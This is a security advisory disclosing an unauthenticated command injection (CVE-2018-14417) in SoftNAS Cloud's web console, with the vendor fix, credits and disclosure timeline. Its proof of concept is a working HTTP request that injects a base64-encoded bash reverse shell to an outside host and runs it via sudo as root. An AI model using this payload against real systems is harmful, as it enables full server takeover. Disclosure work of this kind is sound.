SoftNAS Cloud OS Command Injection

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
SoftNAS Cloud OS Command Injection  
  
1. *Advisory Information*  
  
Title: SoftNAS Cloud OS Command Injection  
Advisory ID: CORE-2018-0009  
Advisory URL:  
http://www.coresecurity.com/advisories/softnas-cloud-OS-command-injection  
Date published: 2018-07-26  
Date of last update: 2018-05-28  
Vendors contacted: SoftNAS  
Release mode: Coordinated release  
  
2. *Vulnerability Information*  
  
Class: Improper Neutralization of Special Elements used in an OS  
Command [CWE-78]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2018-14417  
  
3. *Vulnerability Description*  
  
SoftNAS' website states that:  
  
[1] SoftNAS Cloud is a software-defined NAS filer delivered as a virtual  
storage appliance that runs within public, private or hybrid clouds.  
SoftNAS Cloud provides enterprise-grade NAS capabilities, including  
encryption, snapshots, rapid rollbacks, and cross-zone high-availability  
with automatic failover.  
  
A command injection vulnerability was found in the web administration  
console. In particular, snserv script did not sanitize some input  
parameters before executing a system command.  
  
4. *Vulnerable Packages*  
  
. SoftNAS Cloud versions prior to 4.0.3  
Other products and versions might be affected, but they were not tested.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
SoftNAS released SoftNAS Cloud 4.0.3 that addresses the reported  
vulnerability. The software update can be performed via the  
StorageCenter admin UI in the product.  
For more information on the updating process see:  
https://www.softnas.com/docs/softnas/v3/html/updating_to_the_latest_version.html.  
  
In addition, SoftNAS published the following release note:  
https://docs.softnas.com/display/SD/Release+Notes  
  
6. *Credits*  
  
The vulnerability was discovered and researched by Fernando Diaz and  
Fernando Catoira from Core Security Consulting Services. The publication  
of this advisory was coordinated by Leandro Cuozzo from Core Advisories  
Team.  
  
7. *Technical Description / Proof of Concept Code*  
  
7.1. *Check and execute update functionality abuse leading to command  
execution*  
[CVE-2018-14417]  
The 'recentVersion' parameter from the snserv endpoint is vulnerable to  
OS Command Injection when check and execute update operations are  
performed.  
This endpoint has no authentication/session verification. Therefore, it  
is possible for an unauthenticated attacker to execute malicious code in  
the target server. As the WebServer runs a Sudoer user (apache), the  
malicious code can be executed with root permissions.  
  
The following part of the /etc/sudoers file shows the apache user  
capabilities.  
  
/-----  
User_Alias APACHE = apache  
# Once SoftNAS UI is operational, only allow the specific command that  
require sudo access!!  
Cmnd_Alias SOFTNAS = ALL  
APACHE ALL = (ALL) NOPASSWD: SOFTNAS  
-----/  
  
The following proof of concept generates a remote shell on the target  
system as root:  
  
/-----  
GET  
/softnas/snserver/snserv.php?opcode=checkupdate&opcode=executeupdate&selectedupdate=3.6aaaaaaa.1aaaaaaaaaaaaaa&update_type=standard&recentVersions=3.6aaaaaaaaaaa.1aaaaaaa;echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yLjQ1LjE4NS8xMjM0NSAwPiYx+|+base64+-d+|+sudo+bash;  
HTTP/1.1  
Host: 10.2.45.208  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)  
Gecko/20100101 Firefox/59.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://10.2.45.208/softnas/applets/update/  
X-Requested-With: XMLHttpRequest  
Connection: close  
-----/  
  
As can be seen in the former request the payload had to be base64  
encoded as some special characters were not being properly decoded.  
  
8. *Report Timeline*  
2018-05-29: Core Security sent an initial notification to SoftNAS,  
including a draft advisory.  
2018-05-31: SoftNAS confirmed the reported vulnerability and informed  
they were working on a plan to fix the issue.  
2018-05-31: Core Security thanked the SoftNAS' reply.  
2018-06-15: Core Security requested a status update.  
2018-06-26: SoftNAS answered saying the fixed version was scheduled for  
late July.  
2018-06-26: Core Security thanked the update.  
2018-07-16: Core Security asked for a status update and requested a  
solidified release date.  
2018-07-16: SoftNAS informed that the new release version were under QA  
verification and they would have the release date during the week.  
2018-07-19: SoftNAS notified Core Security that SoftNAS Cloud 4.0.3  
version was already available.  
2018-07-19: Core Security thanked SoftNAS's update and set July 26th as  
the publication date.  
2018-07-26: Advisory CORE-2018-0009 published.  
  
9. *References*  
  
[1] https://www.softnas.com  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security, is charged with  
anticipating the future needs and requirements for information security  
technologies. We conduct our research in several important areas of  
computer security including system vulnerabilities, cyber attack  
planning and simulation, source code auditing, and cryptography. Our  
results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://corelabs.coresecurity.com.  
  
11. *About Core Security*  
  
Core Security provides companies with the security insight they need to  
know who, how, and what is vulnerable in their organization. The  
company's threat-aware, identity & access, network security, and  
vulnerability management solutions provide actionable insight and  
context needed to manage security risks across the enterprise. This  
shared insight gives customers a comprehensive view of their security  
posture to make better security remediation decisions. Better insight  
allows organizations to prioritize their efforts to protect critical  
assets, take action sooner to mitigate access risk, and react faster if  
a breach does occur.  
  
Core Security is headquartered in the USA with offices and operations in  
South America, Europe, Middle East and Asia. To learn more, contact Core  
Security at (678) 304-4500 or [email protected]  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2018 Core Security and  
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution  
Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
`